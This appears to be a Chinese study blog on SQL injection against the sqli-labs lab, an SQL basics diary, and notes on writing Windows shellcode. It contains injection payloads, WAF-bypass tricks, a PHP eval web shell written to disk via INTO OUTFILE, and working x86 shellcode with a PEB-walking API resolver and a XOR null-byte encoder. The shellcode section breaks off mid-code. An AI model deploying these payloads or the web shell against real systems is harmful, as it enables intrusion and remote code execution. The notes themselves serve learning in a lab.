SQL注入-sqlilabs

本篇根据sqli-labs展开而来笔记,基于mysql,php的环境;

前置知识:SQL语法,在SQL学习日记中有讲述;

less01~less04

解题一般步骤/思路

  1. 判断是否可注入(单引号/双引号/括号报错)
  2. 判断字段数,使用order by n;
    • order by n 的含义是按照第n个字段排序;
  3. 确定回显字段,使用 union select 1,2,…,n;
    • 联合查找将前面的select联系起来,select 常数 的含义是给查询结果一个临时的列,这个列所有行都是这个常数,一共有表内对象个的行数;
    • 在使用时,往往回显只显示第一行(联合查找前半段),需要将第一行的内容屏蔽掉,如limit,或者使第一行等于一个非法值;
  4. 利用回显的字段查询出数据库,表,字段,以及需要的所有数据;
1
2
3
4
select schema_name from information_schema.schemata  		#找库
select table_name from information_schema.tables where table_schema='' #从库找表
select column_name from information_schema.columns where table_name='' #从表找字段
select * from xxx.xxx #找数据

在找数据时,经常用到以下两个函数:

group_concat()

  • 使此函数括号内的查询结果拼成一行,如图;

group_concat()

concat_ws()

  • 此函数有三个参数,第一个为拼接符,后两个为拼接字段,输出为两个字段的拼接态,如图;

concat_ws

为什么需要使用这两个函数?正如前面所述,回显一般只显示查询的第一行,需要将查到的账号密码拼接而且合并为一行输出,这样才能在回显上观察到需要的全貌;

less05~less06

此类型为:

布尔盲注

回显只会显示查询结果正确或是错误,不会回显出查询的内容;

使用以下函数以进行对字符串的操作:

left()

其中有两个参数,第一个为字符串,第二个为长度,作用为从左截取长度个字符串内的字符;

例如以下内容:

1
left(database(),4);				#截取当前数据库名的前4个字符

由此可以对截取内容进行比较:

1
select left(database(),1)='s';			#正确返回1,错误返回0

由此来使得获取库名的目的;

substr()

三个参数,第一个为字符串,第二个为起始位置,第三个为截取长度,例如substr(a,b,c),作用为截取a字符串,从b位置开始,截取c位长度;

ascii()

将输入的字符转为其ascii值;

使用以上函数便可完成对字符的判断,从而得到库名,一般不会直接使用等于多少多少字符,而是每个字符转为ascii后采用二分法判断其是哪个字符;

当然也可用BP抓包,暴力破解,具体步骤为抓包->转发测试器(Intruder)->添加变量位置->选择暴力破解->规定字符集以及长度->选择进程数->开始;

测出的发包观察其长度变化,找到独异个体,查看其响应包内是否为正确回显即可;

之后便根据此方法依次判断库名,表名,字段名,以及账号密码;

less07

一句话木马

由于才疏识浅,能找到的内容如下,会有不严谨和错误的地方:

php版本:

1
<?php @eval($_POST['pass']);?>

上传到目的网址后,使用中国菜刀打开其路径并加上pass变量,即可查看其所有数据;

其含义为 <?php ?> 是html将此包裹里的内容作为php语句执行;

艾特符号取消报错,eval函数将输入的字符串作为命令执行;

$_POST变量是全局的php变量,也是一个数组,括号内的pass则是其下标,对应pass变量,译作将post发送的内容转给pass变量;

整句话的意思是:将post的内容作为指令在服务器上执行;

中国菜刀的原理简单理解为窗口化的post输入指令,每点一下都是在对服务器post指令;

into outfile

写文件关键字,用法:

1
select a,b,c into outfile 'path\\1.txt';

load_file()

读文件,直接跟在select后面作为查询内容,参数为文件路径;

解法也如同之前所述,先判断注入点,之后用 into outfile 将一句话木马作为字符串写入目标文件内,之后便可用中国菜刀访问web shell;

less08~less10

if()

类似三目运算,三个参数,第一个为条件,第二个为真时返回值,第三个为假时返回值;

if函数一般与sleep函数一起使用,sleep函数的参数单位为秒,构成时间盲注的句子;

时间盲注

当回显内容为空时,此时可以采用时间盲注的方法;

回显为空时如何判断注入漏洞?在可能出现漏洞的地方加入sleep函数来测试,是否响应时间变动;

布尔盲注是根据回显判断内容是否正确,那么时间盲注即是根据响应时间来判断是否正确,如下面一段话:

1
select if(length(database())=7,1,sleep(5))

当前数据库名长度为7时返回1,否则睡眠5秒,在where中加入此条件的话,会导致判断时网页的响应时间发生变化,由此进行判断;

由此方法与布尔盲注类似,不断去判断库名,表名,字段名,拿到数据;

也可以用sqlmap脚本自动爆破,以及bp;

此方法的开销较大,一般不选用;

less11~less16

POST注入

比起get注入,需要注意的点为参数名称需要用bp抓包来获取,之后使用hackbar的post方法发包,且注释符需要使用 # ,–+ 一般用于url中;

获取到注入点也同之前一样,之后,可使用 or 1=1 来永真返回;

查找表和数据的步骤如之前一样进行;

盲注步骤也一样;

less17

报错注入

核心函数:

updatexml()

三个参数,第一个为XML文档对象的名称,第二个为Xpath格式的字符串,第三个为替换数据;

作用为改变文档中符合条件的节点;

extractvalue()

两个参数,用法同上函数,第一个参数为对象名,第二个为Xpath格式的字符串;

而在报错注入中,concat函数返回的类型时一个字符串,不符合xpath的格式,所以会报错,并给出这个字符串的内容,从而获取信息;

如下:

1
mysql> select * from users where updatexml(1,concat(0x7e,database(),0x7e),1);

会导致其报错而显示database的内容:

xpath error

这个方法有什么用?

高效:对于无回显可以这么用,直接拿名称;

防止过滤关键词,比如不让用union select了怎么查呢?

less18~less22

http头注入

当发包信息参与了sql语句时,可以利用http头进行注入(如回显有这些内容时,可以猜测);

一般是将useragent,或者ip,或者等等的头信息作为参数加入sql语言中;

思路是使用bp重构这些参数,使其在sql语句中时产生注入漏洞;

注意:不要打乱这些参数序列!!!(构造闭合

cookie注入如法炮制,cookie的发包一般在原包的后面一个包,里面包含了cookie字段;

对于base64编码的内容,也需要将构造的payload进行base64编码然后发包;

例如:

18关登录成功的情况下是会回显useragent的:

feedback

利用bp的重发器,在useragent的地方使用单引号判断出有注入漏洞,则可在这个位置进行payload构造:

repeat

注意根据语法错误构造闭合:

原内容为注入点后面还有两个字符串,并且有个括号,那么构造payload应该为:

1
2
3
' payload,'','') #
或者
' payload or '1' = 1'

之后如法炮制拿数据;

至此,基础篇结束;

less23

当 –+ 或者 # 被注释掉时,可以试用如下内容:

1
;%00

我的理解是单引号分割语句,%00为url编码中的空字符对后面的内容进行截断,导致sql语言能正常执行;

也可以构造常规语句来闭合引号;

SQL语句执行顺序

在where附加条件时,如果order by 后面还有跟 and or 一类的连接符,order by 会被忽略掉;

less24

二次注入

注入时,特殊字符被转义无法导致注入,只有将转义后的内容存入数据库,之后引用这个数据时发生注入漏洞,称二次注入;

例子:在注册用户时,给已有用户名后面加 ‘# 符号,致使 user’#被创建,在修改密码时,引用字符应为:

1
UPDATE users SET password='sss' where username='user'#'

此时发生注入漏洞,并将原本的user账户的密码修改了;

less25~less25a

WAF绕过

可分为三类:

  • 白盒绕过

    • 通过获取源码分析的方式进行绕过;
  • 黑盒绕过

    • 架构层面

      ​ 寻找原网站绕过:针对云WAF,云waf的作用类似于拦截网,先通过其进行验证,之后将数据交给原网址,类似CDN;

      ​ 对于CDN:通过超级ping,在不同地区的CDN返回ping值不同的结果;

      ​ 注册,直接转到原网站;

      ​ 通过国外IP地址访问,对于个别网站CDN只针对于国内;

      ​ 通过同网段绕过:一个网段中,经过的数据可能不会经过云WAF,可以先拿到网段中其他主机的权限,对目标交互;

      ​ 对于网段解释:192.168.1.0 ~ 192.168.1.255称为一段 (局域网概念)

    • 资源限制角度

      ​ 一般WAF执行需要优先考虑业务优先原则,对于构造超大的数据包可能不会进行检测,实现绕过;

    • 协议层面

      ​ get型比post型要小,由于业务需求,只对get检测,可通过在post内构造图片后面跟注入语句的方式进行测试;

      ​ 参数污染:index?id=1&id=2 可能只对id=1进行检测;

    • 规则层面

      ​ sql注释符绕过:当不允许使用空格,用/**/来代替空格,或者在注释内添加超长内容;

      ​ 使用内联注释(mysql特有) /*!union select */ 注释内的代码可执行;

      ​ 也可以用括号将关键字分割开;

      ​ 空白符绕过: 对于空格的填充,url编码;

      ​ mysql空白符:%09; %0A; %0B; %0D; %20; %0C; %A0;

      ​ 正则空白符:%09; %0A; %0B; %0D; %20;

      ​ %25编码为%,%25A0则是空白符;

      ​ 函数分隔符号: 将一个函数进行分割,在函数名称后面跟空白符;

      ​ 浮点数词法解释:WAF对id=1可以检测,但对于id=1.0、id=\N、id=1E0可能无法检测;

      ​ 利用error-based进行sql注入;

      ​ mysql特殊语法:例如 select {x name} from {x table};

      ​ 大小写绕过: 如果对 and or union 关键字过滤,可以采用大小写混用的方法,也可使用双写;

      ​ 在过滤大小写混用时,采用OORr的写法,会被过滤为or(中间or消失),则是双写,也可以尝试关键词替换;

  • fuzz测试

    • 使用bp测试,测试成功用脚本处理;

使用报错注入过滤空格可用 ^ 来连接函数,针对and or全面封锁;

less26~less28a

本题通关方式与25大差不差,原理也和WAF绕过有关;

脚本获取空格符替换对应的url编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

#循环查找编码
for i in range(0,256):
code = hex(i).replace('0x','')
if(len(code) < 2):
code = '0' + code
code = '%' + code
#构造发送url
url = "http://127.0.0.1/sqli-labs-master/Less-26/?id=1'" + code + "%26%26" + code + "'1'=1'"
#通过回响包中是否返回正确的内容来判断空格正确
r = requests.get(url)
#解码raw
if 'Dumb' in r.content.decode('utf-8','ignore'):
print(code)

这里需要提一下,windows的apache环境对于空格编码有问题,需要docker环境搭建的sqli靶场才能用上述脚本找出合适的编码,不然统统都不能过;

当然也可以用报错注入的方式来获取内容,用括号分割关键字,就不需要空格了;

使用命令:

1
2
docker run -dt --name Dsqli -p 80:80 --rm acgpiano/sqli-labs
docker start ID

用pull建立镜像后,run,之后映射80端口,使用ssh连接时使用的ip和端口访问docker搭建的靶场;

对于where 后面 加括号包裹,会将结果返回为0或1,导致有时候只用引号就能判断出注入点,实际上是误判了,这样只用引号去闭合会出现中间的内容写了也没有作用,只有加括号闭合的方式,才能使得中间的语句成功执行;

less29~less31

服务器两层架构

客户端首先发送请求给tomcat服务器,之后由此服务器转交给apache,响应后返回给tomcat,由tomcat传递给客户端;

客户端访问url传递两个相同参数,tomcat接收第一个,apache接收第二个,第一个使用 getParameter 接收纯数字,第二个用php的get变量接收字符串;

less32~less37

宽字节注入

php和mysql默认编码为GBK,支持两字节编码,函数执行添加的是ASCII编码(单字节);

假如使用单引号注入时,mysql对 id=1' 进行了处理使用斜杠转义 id=1\' ,就无法完成注入;

如果此时在1后面跟 %df 并加上单引号,会让代码部分变成这样的内容: id=1%df\' ;

而斜杠的url编码是 %5c , 此时代码部分原义为 id=1%df%5c' ,%df%5c 会被编码为GBK中宽字节的内容;

此时代码部分是这样的: id=1字' ,由于斜杠被编码带入了,单引号得不到转义,可以完成注入;

第二种方法,将转义单引号的斜杠再转义,构造语句如下:

1
id=1%aa%5c'

%5c是斜杠,因为是和单引号一样的敏感内容,所以同样会添加斜杠转义,此时整句处理后的句子如下:

1
id=1 %aa%5c %5c%5c '   -->    id=1字 \\ '

这样就把转义单引号的斜杠给转义掉了;

addslashes() / mysql_real_escape_string()

里面添加字符串,在字符串内每个敏感字符前添加反斜杠,也是一种起转义的方法;

在post注入时, %df 会被url编码为 %25 df 的raw字段,需要将raw的内容改为%df才能绕过转义,当已知转义的情况下,用正常post无法注入,记得抓包查看raw的内容;

less38~less45

堆叠注入

简单解释,一行两句sql语言,期间用;分号隔开;

其有局限性,第一,在某些环境下,数据库语言只支持一行一句,第二,web前端查询回显问题,一般只回显第一次查询结果;

使用堆叠注入写一句话木马

步骤:

  • 写权限;
  • 一句话木马;
  • 绝对路径;
  • select xxx into outfile xxx;
1
id=1'; select <?php @eval($_POST[pass]); ?> into outfile xxx;

less46~less53

lines terminated by 123

sql关键字,字面意义,在每行后面以 123 进行分割;

用于插入一句话木马,适用于order by 之后注入的情况,没办法使用堆叠注入的情况;

mysqli_multi_query()

使用这个函数可以一行执行多个SQL语句;

至此开启挑战篇;

less54~less75

挑战篇用以上内容都可以解决,就盲注手搓会比较恶心,之后学习sqlmap以及bp的脚本盲注;

补充

遇到select完全封锁的情况,且可使用堆叠,可以使用如下语句查看当前数据库下的内容:

1
2
3
show database;
show tables;
show columns from tableName;

之后使用二次注入的思想,利用已有的select查询语法,改变表名,列名,获取数据;

如下语句:

1
select n || id from users;

当n为数字时,一直回显都为1,当n不为数字,不会回显;

当心注入位置的判断!不一定就在where之后!

阅读全文
SQL学习日记

说实话这篇写的不算什么好玩意儿,没有参考价值,对我有记忆的价值,仅此而已;

表的增删改查

假设一张表称为tableA,其结构如下:

id name major
a001 bear a
a002 child b
a003 steve c

SELECT

查找语句,一般用法:

1
2
3
SELECT * from tableA                 #从tableA里查找所有
SELECT tableA.id,major from tableA #从tableA里查找除了name的
SELECT * from student where name like '%e%' #从tableA里模糊查找带e的内容 %为任意

like为模糊查找;

INSERT

增添语句,一般用法:

1
INSERT INTO tableA VALUES('a004','crazy','d')   #对tableA插入一行内容

UPDATE

改动语句,一般用法:

1
UPDATE tableA set id = 'a007' where id = 'a001' #讲a001的id改为a007,set where不可颠倒

where即条件查询,后面跟条件,不加where,则全体内容的id都设置为a007,如果id是pk则会失败;

set是设置,设置一个字段等于一个新值;

DELETE

删除语句,一般用法:

1
DELETE from tableA where id = 'a001'  #删除id为a001的所有字段

数据查询

单关系

无条件查询

1
SELECT * from tableA

只有from的语句;

条件查询

1
SELECT * from tableA where ...

where后面跟的…即为条件,可以是简单的运算比较符、逻辑运算;

  • 对于逻辑运算除了用&&,||,!来表示,也可用英文的AND,OR,NOT;
  • 使用BETWEEN AND可以约束条件范围,用法为: SELECT * from tableA where id BETWEEN 30 AND 40
  • 使用IN可以查询属于集合的元组,用法为: SELECT * from tableA where id IN ('123','123');
  • 上面两种查找都可以用运算符来代替
  • 使用NULL可以查询对应字段为空的空值查询,用法为: SELECT * from tableA where id IS NULL;
  • 使用LIKE进行模糊查找,用法在上方已给出;

聚合函数查询

使用以下函数来操控选择查询的字段值:

函数名 功能
AVG 字段平均值
SUM 字段总和
MAX 字段中最大值
MIN 同上
COUNT 字段值的个数

使用方法如下: SELECT SUM(score), COUNT(number) from student where ...

上述语句的含义为,查询student表中满足条件的score总和以及number的个数;

使用DISTINCT消除重复元组;

分组查询

1
SELECT major, COUNT(*) from tableA GROUP BY id HAVING ...

一般用于数字统计的查询,针对于某个字段来分组;

having类似于group by的where,设置条件,其含义是只显示满足having条件的组;

查询排序

1
SELECT ... from tableA order by id DESC

对于…的查询按照id的降序排序;

DESC为降序,ASC为升序;

限制查询

1
2
SELECT ... from tableA LIMIT 1,3		#从第一行往下1行开始(2行)往后找三行
SELECT ... from tableA LIMIT 3 OFFSET 1 #和上面等效

多关系

内连方法:

1
2
SELECT ... from tableA,tableB where ...  #等效于下方
SELECT ... from tableA inner join tableB ON ...

对于内连而言,不满足条件即不显示,外联会跟随某张表(主表)显示这张表满足条件的所有跟随项,不满足条件的内容会以NULL显示:

1
SELECT ... from tableA LEFT outer join tableB on ...

外连分左右外连,意思是选择左右哪张表作为主表,上述语句tableA在左,所以其为主表;

关于交叉连接:

1
SELECT * from A cross JOIN B

字段为A,B一起的总字段,元组则是一个关于A,B元组的笛卡尔积;

视图

创建:

1
CREATE VIEW view_name AS ...

…为完整的select语句构成;

其意义为,将此select生成的子表封装,称为视图,可直接当作一个表来操作;

索引

创建:

1
2
3
create unique index a on tableA(id,name);   #建立id和name的复合唯一索引
create index b on tableA(name(4),DESC); #建立普通索引对name前4字符以降序排列
create fulltext index c on tableA(text); #建立对text的全文索引

目的是为了加速数据查找的速度;

对于限定属性的值可以有:

1
2
alter table tableA add(constraint 限定名 check(major regexp '[0-9]'))  #限定major只能填0-9
alter table tableA add(constraint 限定名 check(major = '1' and major = '2')) #限定只能为12

用户

创建:

1
create user if not exists 'Second_BC' BY '123321'   #以123321口令建立此用户

在sql中,权限组叫角色(role)

权限是针对于用户对对象的命令使用权;

1
2
3
4
lock table xxx read; 		#读锁/共享
lock table xxx write; #写锁/最高限定
#解锁
unlock table xxx;

另外还有行级锁:

1
2
select * from tableA where id = xxx LOCK IN SHARE MODE;   #共享
select ... FOR UPDATE; #操作类型指令为写锁

行级锁限定时总会存在where来指定行;

对于ALTER操作

改表名:

1
rename table 表名 to 新表名;

改字段名:

1
alter table 表名 change 字段名 新字段名 类型;

类型可以与之前一样就行;

阅读全文
Windows_Shellcode

内联汇编

VS编写壳代码需要用到裸函数,在其中使用内联汇编:

1
2
3
4
5
6
7
8
9
void _declspec(naked)funcName()
{
__asm
{
push 0;
mov eax, 0xdeadbeaf;
call eax;
}
}

调用函数不能直接call一个立即数地址;

提取机械码用ida;

尽量不使payload中出现\x00,导致字符串截断

push 0; -> xor edi, edi; push edi;

在windowsROP里,此电脑 -> 管理 -> 事件查看器 -> Windows日志 -> 应用程序 以查看触发异常;

跳板

在WindowsAPI中,jmp esp 指令做为一个常见gadget,其地址在同版本API库加载dll时大部分情况下(没开随机地址)固定,32位情况下为 0x7xxxxxxx;

实现ROP即可使返回地址指向 jmp esp ,使其作为跳板让eip指向返回地址后面的shellcode;

TEB/PEB查找模块

为了使shellcode通用性强,可用TEB/PEB查找API模块,不使用立即数地址;

介绍

所有进程都会引用 kernel32.dll;

窗口程序(WinMain)user32.dll 专用,封装所有窗口操作相关API;

无论kernel32或user32最终会调用 ntdll.dll,r0大门;

TEB:thread environment block

线程环境块,结构体,保存线程中各种信息,每个线程都有一个;

1
2
3
4
5
TEB
{
+0x00 _NT_TIB NtTib; //线程信息块
+0x30 _PEB* PPEB;
}

线程信息块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct	_NT_TIB
{
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; //用于操作SEH
//SEH:windows异常处理机制,大量运用于反调试程序;
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
union
{
PVOID FiberData;
DWORD Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self; //指向自己的指针
} NT_TIB;
typedef NT_TIB *PNT_TIB;

PEB: process environment block

进程环境块,需要的模块放于其中;

访问

用 NtCurrentTeb(); 可返回TEB类型指针;

其内部实现只有一句汇编码:

1
mov eax, dword ptr fs:[0x18]	;18h偏移是指向自己的指针 *Self

则fs段寄存器存放的是TEB,偏移30h为PEB指针;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PEB
{
+0x00c _PEB_LDR_DATA* Ldr;
}

struct _PEB_LDR_DATA
{
+0x000 Uint length;
+0x004 Uchar initialized;
+0x008 LVOID SsHandle;
+0x00c _LIST_ENTRY InloadOrderModuleList; //载入顺序排序的dll
+0x014 _LIST_ENTRY InMemoryOrderModuleList; //内存排序的dll
+0x01c _LIST_ENTRY InitializationOrderModuleList; //初始化排序的dll
}

初始化排序一般不会变动,所以用到它,第一个为ntdll,第二个kernel32或kernelbase;

_LIST_ENTRY是一个双头链表,其中只有两个字段,指向上一个和下一个结构体的指针;

_LIST_ENTRY其实为一个结构体内部的子结构体,数据信息放在其父结构体中,父结构体存放dll信息;

LDR

父结构体:

1
2
3
4
5
6
7
8
9
10
11
struct _LDR_DATA_TABLE_ENTRY
{
_LIST_ENTRY InloadOrderModuleList; //载入顺序排序的dll
_LIST_ENTRY InMemoryOrderModuleList; //内存排序的dll
_LIST_ENTRY InitializationOrderModuleList; //初始化排序的dll
PVOID DllBase; //dll基地址,要得到的模块
PVOID EntryPoint;
PVOID SizeOfImage;
PVOID FullDllName;
...
}

则得到dll基址所需汇编码为:

1
2
3
4
5
mov esi, fs:[0x30] ;得到peb
mov esi, [esi+0xc] ;得到ldr
mov esi, [esi+0x1c];得到_LIST_ENTRY
mov esi, [esi] ;得到下一个结构体(kernel32)
mov esi, [esi+0x8] ;得到dllbase(32位,两个指针类型占8字节)

对于windows段寄存器的操作别用keystone找机械码,有问题,就用裸函数写内联ida提取;

得到dllbase后,需要找到导出表,与其中的目标函数名称做比较确定真实地址;

需要确定 “LoadLibraryA”,“GetProcAddress”;

对于字符串比较不能使用strcmp系统函数,需要自实现汇编,相同返回0,不同返回1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Mystrcmp()
{
_asm
{
lea esi, [strA] //函数三个参数
lea edi, [strB]
mov ecx, 循环次数
repe cmpsb //循环比较
je Equal
mov eax, 1
jmp End
Equal:
mov eax, 0
End:
}
}

repe cmpsb需要DF标志位置零向后比较;

小实验:利用PEB获取user32模块调用MessageBoxA

大体思路:

  • 获取关键API: loadLibrary,getprocaddress,这样不管是什么模块中的什么函数都能使用;
  • 获取kernel32模块:获取以实现第一步,两个关键API在此模块中;
  • 使用两个API得到MessageBoxA的函数地址;
  • 调用MessageBoxA;

如何得到两个关键API呢?

用之前分析的方法:通过TEB->PEB->LDR->dllbase,找到dll基址,通过基址以及PE结构的知识得到dll的导出表,遍历函数名称表(ENT)和目标函数(loadlibrary,getprocaddress)名称比较得到函数索引,根据索引和函数序数表(EOT)得到此函数的地址表(EAT)索引,则得到两个关键API的地址;

写入字符串(函数名)

写入要比较的两个关键API字符串,以及调用API函数需要的其他字符串;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//LoadLibraryA
//GetProcAddress
//user32.dll
//MessageBoxA
//Second_BC
//以上字符串放入栈,栈中顺序也如上排序
//第一步,保存字符串信息
pushad
sub esp, 0x30
mov ax, 0x0043
mov word ptr ds:[esp - 2], ax //这种写法节省空间
sub esp, 2
push 0x425f646e
push 0x6f636553
push 0x41786f
push 0x42656761
push 0x7373654d
mov byte ptr ds:[esp - 1], 0x0
sub esp, 0x1
mov ax, 0x6c6c
mov word ptr ds:[esp - 2], ax
sub esp, 0x2
push 0x642e3233
push 0x72657375
mov byte ptr ds:[esp - 1], 0x0
sub esp, 0x1
mov ax, 0x7373
mov word ptr ds:[esp - 2], ax
sub esp, 0x2
push 0x65726464
push 0x41636f72
push 0x50746547
mov byte ptr ds:[esp - 1], 0x0
sub esp, 0x1
push 0x41797261
push 0x7262694c
push 0x64616f4c
mov ecx, esp
push ecx
call fun_payload //主体实现,之后给出,一个参数,即这些字符串首地址
popad

获取kernel32.dll基址

用到了上述peb知识;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//第二步,获取kernel32.dll基址
fun_GetModule:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword ptr fs:[0x30] //peb地址
mov esi, [esi + 0xc] //ldr地址
mov esi, [esi + 0x1c] //list_entry
mov esi, [esi] //list_entry第二项,kernel32
mov esi, [esi + 0x8] //dllbase
mov eax, esi
pop esi
mov esp, ebp
pop ebp
retn

获取两个重量级API

用到pe结构知识;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//32位偏移计算
// MyGetProcAddress(imageBase, funName, nameLen)
// ImageBase + 0x3c = nt头
// nt头 + 0x78 = dataDirectory 第一项 导出表
// EAT = 导出表 + 0x1c
// ENT = 导出表 + 0x20
// EOT = 导出表 + 0x24
//第三步,获取导出表查找所需函数
fun_GetProcAddr:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
push edx
push ebx
push ecx

//获取函数地址表,函数序数表,函数名称表
mov edx, [ebp + 0x8] //第一个参dllbase
mov esi, [edx + 0x3c] //lf_anew
lea esi, [edx + esi] //nt头 = base + lf_anew
mov esi, [esi + 0x78] //导出表RVA
lea esi, [edx + esi] //导出表VA
mov edi, [esi + 0x1c] //EAT RVA
lea edi, [edx + edi] //EAT
mov [ebp - 0x4], edi
mov edi, [esi + 0x20] //ENT RVA
lea edi, [edx + edi] //ENT
mov [ebp - 0x8], edi
mov edi, [esi + 0x24] //EOT RVA
lea edi, [edx + edi] //EOT
mov [ebp - 0xc], edi

//用ENT循环比较函数名得到目标函数的序数表index
//ENT和EOT索引同步
xor eax, eax //循环控制 i = 0
cld //DF标志位置为0,使比较时edi,esi往下加不是减
jmp tag_cmpFirst
tag_cmpLoop:
inc eax //i++
tag_cmpFirst:
mov esi, [ebp - 0x8] //ENT
mov esi, [esi + eax*4] //RVA
lea esi, [edx + esi] //函数名称地址
mov edi, [ebp + 0xc] //传入二参,目标函数名称地址
mov ecx, [ebp + 0x10] //三参,循环次数
repe cmpsb //esi, edi字符串比较
jne tag_cmpLoop

//根据已知EOT索引获取EAT中地址
mov esi, [ebp - 0xc] //EOT
xor edi, edi
mov di, [esi + eax*2] //word类型乘2,得到EAT索引

mov ebx, [ebp - 0x4] //EAT
mov esi, [ebx + edi*4] //函数地址rva
lea eax, [edx + esi] //返回目标函数地址

pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0xc //接收三个参数

payload

第一步跳转的主要的思路实现;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
//第四步,payload
fun_payload:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
push edx
push ebx
push ecx

//dll基址
call fun_GetModule
mov [ebp - 0x4], eax

//LoadLibraryA地址
push 0xd
mov ecx, [ebp + 0x8] //获取字符串首地址
push ecx
push eax
call fun_GetProcAddr
mov [ebp - 0x8], eax //LoadLibraryA地址

//GetProcAddress地址
push 0xf
lea ecx, [ecx + 0xd] //获取字符串
push ecx
push [ebp - 0x4]
call fun_GetProcAddr
mov [ebp - 0xc], eax //GetProcAddress地址

//用load加载user32.dll
mov ecx, [ebp + 0x8] //获取user32字符串
lea ecx, [ecx + 0x1c]
push ecx
call [ebp - 0x8]
mov [ebp - 0x10], eax //user32.dll基址

//用getprocaddr获取messagebox地址
mov ecx, [ebp + 0x8] //获取messagebox字符串
lea ecx, [ecx + 0x27]
push ecx
push [ebp - 0x10]
call [ebp - 0xc]
mov [ebp - 0x14], eax //MessageBoxA地址

//调用messagebox
mov ecx, [ebp + 0x8] //获取Second_BC
lea ecx, [ecx + 0x33]
xor eax, eax
push eax
push ecx
push ecx
push eax
call [ebp - 0x14]

pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0x4 //接收一个参数,输出字符串地址

以上代码用裸函数外套即可使用:

1
2
3
4
5
6
7
void _declspec(naked)shellCode()
{
__asm
{

}
}

用ida提取之后的机械码shellcode即可放到ROP链中使用,前提是有漏洞;

字符串优化

由于在上一步写入字符串这里,会引进\x00以及大量的字符串导致内存浪费,此处有一个方法使其优化:编码;

构造一个函数,使得字符串通过之后输出其对应的4字节哈希值,写入时写入哈希值,此时满足不破坏比较时的一个逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
DWORD getHash(char* str)
{
DWORD digest = 0;
while (*str)
{
digest = (digest << 25 | digest >> 7);
digest = digest + *str;
str++;
}
return digest;
}

void _declspec(naked)asmGetHash()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x4
push ecx
push edx
push ebx
push esi

mov dword ptr [ebp - 0x4], 0 //digest = 0
lea esi, [ebp + 0x8] //str
xor ecx, ecx //i = 0
tag_hashLoop:
xor eax, eax
mov al, [esi + ecx] //取第i个字符
test al, al
jz tag_end
mov ebx, [ebp - 0x4]
shl ebx, 0x19 //digest << 25
mov edx, [ebp - 0x4]
shr edx, 0x7 //digest >> 7
or ebx, edx // |
add ebx, eax // +
mov [ebp - 0x4], ebx //digest = ...
inc ecx //i++
jmp tag_hashLoop
tag_end:
mov eax, [ebp - 0x4]

pop esi
pop ebx
pop edx
pop ecx
mov esp, ebp
pop ebp
retn 0x4
}
}

编码优化

除了字符串,代码中也会出现大量\x00,由此对代码进行编码处理,且编码可逆,输入过程中不出现\x00,进入程序内部后自解密为真实代码执行;

编码

思路是使用异或对每个字节编码,长度不变,编码后的内容不应该有\x00,则选择的异或key有讲究;

在 0x01 ~ 0xff 之间遍历出一个可以使用的key进行异或;

则编码代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
BOOL enShellcode(char * shellcode, int shelllen)
{
BOOL result = TRUE;
int nkey = 0;
unsigned char* encodebuff = new unsigned char[shelllen];
//遍历合适的key
for (int key = 0x1; key < 0xff; key++)
{
result = TRUE;
nkey = key;
//循环编码
for (int i = 0; i < shelllen; i++)
{
encodebuff[i] = shellcode[i] ^ key;
if (encodebuff[i] == 0)
{
result = FALSE;
break;
}
}
if (result == TRUE)
{
break;
}
}
if (result == FALSE)
return result;
//格式化打印
FILE* fp;
fopen_s(&fp, "encode.txt", "w+");
fprintf(fp, "nkey = 0x%02x\n", nkey);
fprintf(fp, "shell len = %d\n", shelllen);
fprintf(fp,"\\\n\"");
for (int i = 0; i < shelllen; i++)
{
fprintf(fp, "\\x%02x", encodebuff[i]);
if ((i + 1) % 16 == 0)
{
fprintf(fp, "\" \\\n\"");
}
}
fprintf(fp, "\"");
fclose(fp);
delete[] encodebuff;
return result;
}

解码

对于输入的shellcode需要一段代码对其进行解码,这里会涉及到偏移问题,如下图所示;

offset

对于获取执行代码的地址,有一个非常经典的代码:

1
2
3
	call next_ins
next_ins:
pop eax

将eip压入栈,再弹出给eax寄存器,此时返回的地址则是pop eax这一条指令所在位置;

但问题出现在call next_ins,其硬编码会变成 E8 00 00 00,不能有\x00,所以代码需要改变为如下:

1
2
3
40000 call 40003h
40004 retn
40005 pop eax

此时40003地址的一字节和40004的retn指令硬编码共同组成两字节的汇编指令:inc ebx,这对实现解码来说无影响,执行这条指令后便pop rax了,且避免了产生\x00,此时返回的地址则是 40004 retn 这个地方;

此时解码汇编如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__asm
{
xor eax, eax //清零eax
call tag_get_eip-1 //获取retn处地址
tag_get_eip:
retn
pop eax

lea esi, [eax + offset] //通过本段汇编码长度得到shellcode地址
